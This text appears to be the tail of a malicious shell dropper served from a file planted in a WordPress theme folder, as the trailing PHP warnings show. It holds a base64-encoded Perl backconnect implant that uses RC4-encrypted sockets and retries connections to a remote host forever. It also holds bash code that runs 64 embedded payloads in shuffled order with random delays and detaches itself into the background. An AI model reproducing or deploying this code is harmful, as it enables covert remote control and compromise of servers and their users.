IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
ALL_PAYLOADS=( "bin_0" "bin_1" "bin_2" "bin_3" "bin_4" "bin_5" "bin_6" "bin_7" "bin_8" "bin_9" "bin_10" "bin_11" "bin_12" "bin_13" "bin_14" "bin_15" "bin_16" "bin_17" "bin_18" "bin_19" "bin_20" "bin_21" "bin_22" "bin_23" "bin_24" "bin_25" "bin_26" "bin_27" "bin_28" "bin_29" "bin_30" "bin_31" "bin_32" "bin_33" "bin_34" "bin_35" "bin_36" "bin_37" "bin_38" "bin_39" "bin_40" "bin_41" "bin_42" "bin_43" "bin_44" "bin_45" "bin_46" "bin_47" "bin_48" "bin_49" "bin_50" "bin_51" "bin_52" "bin_53" "bin_54" "bin_55" "bin_56" "bin_57" "bin_58" "bin_59" "bin_60" "bin_61" "bin_62" "bin_63")
# Алгоритм перемешивания Фишера — Йетса
run_shuffled_batch() {
# Создаем копию массива, чтобы не ломать исходный порядок для следующих циклов
local batch=("${ALL_PAYLOADS[@]}")
local n=${#batch[@]}
local i j temp
# Перемешивание (от конца к началу)
for (( i=n-1; i>0; i-- )); do
j=$(( RANDOM % (i + 1) ))
# Обмен элементов
temp=${batch[i]}
batch[i]=${batch[j]}
batch[j]=$temp
done
# Исполнение перемешанного списка
for func_name in "${batch[@]}"; do
drop_and_run "$func_name"
# Случайная пауза между запусками внутри пачки (5-15 сек)
sleep $(( 1 + RANDOM % 4 ))
done
}
# Главный цикл
main_loop() {
while true; do
# Запускаем пачку в случайном порядке
run_shuffled_batch
# Большая пауза перед следующим полным циклом
sleep $RESTART_INTERVAL
done
}
# Отвязываем сам main_loop от текущей оболочки
(main_loop >/dev/null 2>&1 &)
exit 0
Warning: Cannot modify header information - headers already sent by (output started at /home/clients/a12f7eca3ded7ae927e1e487753bc1f6/sites/sanador-stjakob.ch/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/foitisiEN:1) in /home/clients/a12f7eca3ded7ae927e1e487753bc1f6/sites/sanador-stjakob.ch/wp-includes/pluggable.php on line 1531
Warning: Cannot modify header information - headers already sent by (output started at /home/clients/a12f7eca3ded7ae927e1e487753bc1f6/sites/sanador-stjakob.ch/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/foitisiEN:1) in /home/clients/a12f7eca3ded7ae927e1e487753bc1f6/sites/sanador-stjakob.ch/wp-includes/pluggable.php on line 1534